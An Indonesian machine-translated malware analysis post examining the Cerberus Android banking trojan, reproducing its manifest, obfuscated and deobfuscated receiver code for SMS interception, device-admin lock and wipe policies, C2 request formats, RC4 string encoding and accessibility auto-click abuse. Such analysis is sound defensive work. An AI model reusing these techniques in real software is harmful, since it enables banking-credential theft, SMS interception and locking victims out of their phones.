Menjelajahi Modern Malware Cerberus untuk Android

gambar

Pada hidung 2020 dan hari ini kita sudah memiliki Android versi 9.0 Pie, di mana Google berdetak di dada dan mengatakan bahwa produk mereka dilindungi. Tetapi para penjahat tidak tidur dan membuat malware mereka sendiri untuk Android.

Secara acak, saya menemukan file apk yang dikaburkan, yang merupakan malware perbankan yang disebut "Cerberus", dan muncul pada tahun 2019.

File APK botnet ini datang kepada saya dengan alamat koneksi server yang tidak valid, jadi bagian dari logika kerja dan fungsionalitas tetap belum dijelajahi, karena botnet ini menggunakan sistem "modular", dan memuat fungsionalitas langsung dari servernya.

Paket apk Analisis


Setelah menganalisis paket apk, saya menyusun struktur program Trojan:

  1. Penerima, autorun + alarm;
  2. Layanan, berjalan dalam siklus dengan interval 8 detik, bertanggung jawab untuk menampilkan pesan pop-up untuk mengaktifkan Layanan Aksesibilitas, mengaktifkan fungsi kunci layar dan menonaktifkan hak administrator;
  3. Layanan, mengumpulkan data dari sensor perangkat, sehingga malware menerima aktivitas fisik perangkat;
  4. Layanan, dalam satu siklus mengunci layar perangkat;
  5. Layanan, bertanggung jawab untuk bertukar data dengan server;
  6. Aktivitas, memuat kode html di WebView, dan menunjukkan konten, berfungsi untuk menggantikan aktivitas aplikasi bank;
  7. Aktivitas, meminta izin berbahaya.
  8. Class, menyimpan sendiri jalur utama (String) dari proyek

Mari kita mulai dengan manifes


Manifes aplikasi cukup menarik, dan Anda dapat menentukan bahwa ini bukan aplikasi sederhana, melainkan malware biasa.

Misalnya, pertimbangkan izin untuk aplikasi:

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> 

Di sini Anda dapat melihat bahwa aplikasi mendapat akses ke SMS, kontak, panggilan, Internet, aplikasi dalam mode tidur.

Kami melangkah lebih jauh dan melihat hak istimewa yang memungkinkan aplikasi untuk menjadi yang utama untuk menerima / mengirim SMS, ini adalah penjahat yang digunakan untuk menyembunyikan pesan SMS di ponsel korban.

  <activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service> 

Dan tentu saja Receiver, berfungsi untuk layanan autostart, dan mencegat SMS.

  <receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> 

Hak administrator, ini sudah jauh lebih menarik. Aplikasi mengharuskan mereka untuk memblokir penghapusan aplikasi (dengan hak administrator diaktifkan, aplikasi tidak akan memiliki tombol "hapus"), serta hak-hak ini akan memungkinkan Anda untuk menghapus semuanya dari perangkat dan memblokir perangkat.

  <activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver> 

Nah, yang paling menarik adalah Layanan Aksesibilitas. Ini digunakan agar malware dapat mengklik layar itu sendiri, dan memberikan dirinya sendiri izin yang diperlukan, termasuk hak admin. Melalui izin ini, penyerang memantau semua tindakan pengguna pada perangkat.

  <service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service> 

Nah, sisa layanan dan aktivitas yang tidak begitu diminati tanpa alamat server Malvari yang valid.

  <activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/> 

Secara umum, malware tidak menggunakan sesuatu yang supernatural, ia tidak menggunakan 0-hari di android. Penyerang perlu mendapatkan satu izin dari korban, dan tidak lebih, maka malware akan melakukan semuanya sendiri.

Google perlu membatasi beberapa kemampuan API untuk aplikasi non-putar.

Penerima


Kode kelas ini dikaburkan, tetapi ini tidak mencegahnya dipelajari.

Kode yang dikaburkan
 public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } } 


Dan sekarang sedikit penjelasan tentang kodenya.

Pengaturan Malvari disimpan dalam file XML, file ini terletak di direktori /data/data/package_name/shared_prefs/Settings.xml

  • public String ReadXML - metode untuk pengaturan membaca
  • public String SaveXML - metode untuk menyimpan pengaturan
  • public boolean DozeMode - Memeriksa apakah Doze Mode diaktifkan
  • kelas publik Service_fa extends Service - Layanan untuk merakit aktivitas fisik perangkat (langkah-langkah, menggoyangkan ponsel, dll.)
  • Service_server kelas publik memperluas Layanan - Layanan untuk menyambung ke server
  • kelas publik Service_event_loop extends Service - Layanan yang berjalan dalam loop tak terbatas untuk melakukan beberapa fungsi malvari
  • public void startOffDozeMode - permintaan untuk menonaktifkan Doze Mode
  • public void startAlarm - Mulai penerima setiap 10 detik
  • public void interceptionSMS - Metode untuk bekerja dengan intersepsi SMS
  • public boolean isAccessibilityService - metode untuk memeriksa apakah Layanan Accesibility diaktifkan atau tidak
  • public boolean cis - metode yang memblokir operasi malvari di negara-negara yang termasuk dalam CIS, yaitu: ua, ru, oleh, tj, uz, tm, az, am, kz, kg, dan md (disingkat nama negara)

Saya mencoba membawa kode yang dikaburkan di atas ke dalam bentuk yang lebih mudah dibaca dan normal:

Kode yang bisa dibaca
 public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent); //   } if (isAdminDevice(context)) { if ((getScreenBoolean(context)) && (isAccessibilityServiceEnabled(context, srvSccessibility.class))) { if (isAccessibilityServiceEnabled(context, srvSccessibility.class)) { SaveXML(context, consts.autoClick, "1"); } Intent intent = new Intent(context, Admin.class); intent.putExtra("admin", "1"); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); startActivity(intent); } } } public void interceptionSMS(Context context, Intent intent){ Bundle bundle = intent.getExtras(); if (bundle != null) { final Object[] pdus = (Object[]) bundle.get(consts.string_116); String number = ""; String text = ""; if (pdus != null) { for (Object aPdusObj : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) aPdusObj); number = smsMessage.getDisplayOriginatingAddress(); text += smsMessage.getDisplayMessageBody(); } SaveXML(context, "LogSMS", "Number: " + number + " Text: " + text + "::endLog::"); } } } } 


Jadi saya pikir kode ini menjadi lebih dimengerti oleh banyak pembaca.

Receiver memiliki 3 pemicu untuk memicu, yaitu ketika perangkat di-boot ulang, menerima SMS atau ketika Alarmon dimulai.

Receiver juga meluncurkan 3 layanan:

  • Pengumpulan aktivitas fisik perangkat (Service_fa)
  • Layanan untuk menyambung ke server (Service_server)
  • Layanan yang berjalan dalam siklus tanpa akhir untuk menjalankan beberapa fungsi malvari (Service_event_loop)

Pertama-tama, Service_fa diluncurkan dan hanya setelah perangkat aktif (jika pemilik telepon berjalan dan telepon bergetar), Service_server dan Service_event_loop diluncurkan. Mereka adalah proses utama malvari, dengan cara ini malvari dapat menghilangkan perangkat nyata dari emulator dan perangkat penerima, av dan lainnya.

Receiver juga meluncurkan permintaan putuskan Mode Doze dan permintaan konfirmasi administrator.

Karena malware memiliki hak administrator, ia tidak dapat dihapus dari perangkat sampai hak dihapus.

Hak Admin


Mari kita lihat kemungkinan yang kita miliki berkat Perangkat Admin

 <!-- ADMIN DEVICE XML --> <?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin> 

elemen force-lock bertanggung jawab untuk mengunci kunci layar perangkat, dan menghapus data untuk menghapus DATA, CACHE, dan semua memori pada perangkat (set ulang penuh).

Service_fa


Dengan ini kita akan melihat Receiver, dan mempertimbangkan layanan lain. Layanan yang mengambil data dari sensor sensor menggunakan kelas SensorManager, layanan ini hanya menerima data aktivitas dan menyimpannya ke file XML.

Berkat ini, penjahat akan bisa mendapatkan riwayat aktivitas dan menganalisisnya untuk menyingkirkan emulator dan terutama pengguna yang malas.

Service_server


Aliran ini dibuat untuk komunikasi dengan server, data ditransmisikan ke server dalam bentuk terenkripsi menggunakan algoritma enkripsi RC4 yang mengkodekan semua yang ada di base64 setelahnya.

Saat layanan dimulai, permintaan pertama ke server terlihat seperti ini:

  { "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" } 

Saya mengisi data yang dikirim ke server secara acak, dengan nama parameter saya pikir semuanya jelas yang mana yang bertanggung jawab untuk apa, kami tidak akan berhenti pada analisis mereka.
Sekarang kita melihat apa tanggapan server, malware memeriksa untuk melihat apakah ia mengembalikan jawaban kosong, jika demikian, maka ia mulai menyortir array domain server dalam satu lingkaran dan mengirimkan permintaan ini ke setiap domain, dan jika responsnya berisi baris == "~ I ~", maka Malware berhenti di domain ini dan mulai bekerja dengannya.

Kami telah memutuskan domain mana yang sedang kami tangani, sekarang kami sedang mencari sisa jawabannya.

Jika Respons == "|| youNeedMoreResources ||" dikembalikan maka segera permintaan dibuat ke server untuk mendapatkan modul malvari tambahan:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}
Silakan, Respon == "|| no ||"
mengirimkan gate_url? action = registrasi & data = permintaan JSON ke server:
  { "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" } 

Permintaan ini berfungsi untuk mendaftarkan pengguna baru di panel admin, ini adalah akhir dari permintaan server.

Tetapi di bawah ini ada kondisi yang memeriksa keberadaan file "system.apk".

Kode yang dikaburkan:

 if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){} 

Kode sederhana:

 if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {} 

jika file ada, JSON dihasilkan dalam bentuk:
 { "params":"updateSettingsAndCommands", "response":"data" } 

Respons dari server diteruskan ke parameter respons, lalu json diteruskan ke metode yang terletak di modul system.apk dan dijalankan menggunakan kelas DexClassLoader.

Service_event_loop


Layanan ini bekerja dalam satu lingkaran dan menunggu perintah untuk memblokir perangkat. Perangkat diblokir dalam loop menggunakan hak administrator.

 DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow(); 

Layanan ini dapat menonaktifkan hak administrator, tampaknya penulis malvari memutuskan untuk melakukan ini untuk "penghancuran diri" malvari, agar tidak meninggalkan jejak di ponsel korban.

  ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName); 

Juga, siklus memiliki 2 kecepatan operasi, 1 detik dan 8 detik, jika Layanan Aksesibilitas dinonaktifkan, ia bekerja pada 1 detik dan meminta untuk mengaktifkan layanan ini, cukup membuka Aktivitas dan memaksa untuk mengaktifkan fitur-fitur khusus, dalam praktiknya kami akan mempertimbangkan ini secara rinci.

Pada akhir siklus, ada juga implementasi seperti di Service_server, tetapi secara khusus mengirim perintah ke metode yang ada di dalam modul "system.apk" yang dimuat, tetapi parameternya tidak jauh berbeda, lihat JSON:

  { "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" } 

centang - detik yang dihitung siklus layanan, aksesibilitas - memeriksa apakah Layanan Aksesibilitas diaktifkan.

String Kelas


Semua baris di dalam kelas dienkripsi dengan algoritma RC4, dan kemudian disandikan dalam base64.

Contoh:

string terenkripsi: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
di mana 12 karakter pertama straka adalah kunci dekripsi dari algoritma RC4
Kunci: yyshybiwijuj
Ciphertext: YzdkZDdkMjRlYjJmYjU5Y2Qw

Ini adalah bagian dari String kode kelas

  /* renamed from: A */ public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); /* renamed from: B */ public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); /* renamed from: C */ public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); /* renamed from: D */ public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); /* renamed from: E */ public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); /* renamed from: F */ public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); /* renamed from: G */ public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); /* renamed from: H */ public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); /* renamed from: I */ public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc="); 


Saya menulis sebuah skrip untuk mengubah baris-baris ini ke bentuk normal, ini membantu saya melewati sedikit waktu.

  /* renamed from: A */ public final String str_statMails = "statMails"; /* renamed from: B */ public final String str_activeDevice = "activeDevice"; /* renamed from: C */ public final String str_timeWorking = "timeWorking"; /* renamed from: D */ public final String str_statDownloadModule = "statDownloadModule"; /* renamed from: E */ public final String str_lockDevice = "lockDevice"; /* renamed from: F */ public final String str_offSound = "offSound"; /* renamed from: G */ public final String str_keylogger = "keylogger"; /* renamed from: H */ public final String str_activeInjection = "activeInjection"; /* renamed from: I */ public final String str_timeInject = "timeInject"; 

Kami juga melihat apa yang disimpan di kelas ini:

  /* renamed from: ay */ public final String str_url = "https://twitter.com/LukasStefanko"; /* renamed from: az */ public final String str_Accessibility = "Flash Player Service"; /* renamed from: bb */ public final String str_gate1 = "action=registration&data="; /* renamed from: bc */ public final String str_gate2 = "action=sendInjectLogs&data="; /* renamed from: bd */ public final String str_gate3 = "action=sendSmsLogs&data="; /* renamed from: be */ public final String str_gate4 = "action=timeInject&data="; /* renamed from: bf */ public final String str_gate5 = "action=sendKeylogger&data="; /* renamed from: bg */ public final String str_gate6 = "action=getModule&data="; /* renamed from: bh */ public final String str_gate7 = "action=checkap&data="; /* renamed from: bj */ public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]"; 


Akun Twitter Lukas Stefanko (@LukasStefanko) terdaftar di URL server, tampaknya penulis ingin bercanda atau mengatakan sesuatu kepada Lucas (Ini adalah analis dari NOD32), nama Accessibility Service + juga disimpan di sini di manifes android: label = β€œFlash Player Layanan ”, dan daftar negara tempat malware tidak berfungsi.

Sisanya


Jelaskan secara singkat pekerjaan injeksi. Ini diterapkan secara sederhana, jika Layanan Aksesibilitas diaktifkan, maka layanan ini hanya menangkap acara peluncuran aplikasi perbankan dan meluncurkan aktivitasnya di atas aktivitas bank, di mana ia memiliki objek WebView yang mengunduh html palsu bank, setelah itu menerima data menggunakan JavaScript dan mengirim data ke Server Malvari.

Juga dalam layanan ini diterapkan Keylogger, memblokir penghapusan malware dan klik otomatis pada konfirmasi. Interaksi pemutus keamanan terdeteksi di aplikasi com.miui.securitycenter. Aplikasi ini disebut "Keamanan" yang digunakan pada perangkat Xiaomi, tugas utamanya adalah memantau keamanan data sensitif Anda. Kode juga ditemukan untuk secara otomatis mematikan "Google Play Protect" menggunakan metode autoclick.

Mari kita lanjutkan berlatih


Saya berhasil menemukan penjahat twitter dan mendapatkan tangkapan layar panel admin

gambar

Instal paket apk pada emulator dengan API 27.

Ikon flash player yang disebut "Flash Player" muncul di desktop

Tangkapan layar
gambar

Kami menunggu ikon, dan kami telah meluncurkan malware.

Setelah memulai Malvari, Aktivitas secara otomatis dimulai dengan persyaratan untuk mengaktifkan Layanan Aksesibilitas, jika Anda menguranginya, itu akan muncul lagi dan ini terjadi dalam satu siklus hingga saya mengaktifkan layanan.

Tangkapan layar
gambargambar

Setelah mengaktifkan kotak centang Layanan Aksesibilitas, transisi otomatis dari pengaturan ke desktop dilakukan, dan saya tidak bisa masuk ke pengaturan Layanan Aksesibilitas lagi, ikon desktop juga menghilang, setelah beberapa detik permintaan mematikan Mode Doze muncul, secara otomatis dimatikan berkat fitur khusus klik otomatis .

Tangkapan layar
gambar

Berikutnya dengan cara yang sama adalah konfirmasi otomatis hak administrator. Itu tidak mungkin untuk menghapus malware secara manual karena ketika membuka pengaturan untuk aplikasi ini, secara otomatis keluar kembali (GLOBAL_ACTION_BACK).

Sebenarnya, ini semua ada di bagian pertama, saya akan segera menulis bagian kedua dengan tambahan, dan mungkin dengan modul utama bot ini, karena saya tidak dapat menemukan file apk dari malware dengan tautan yang valid ke server.

Malvari terbalik diimplementasikan bersamaan dengan keklick1337

Source: https://habr.com/ru/post/id459858/


All Articles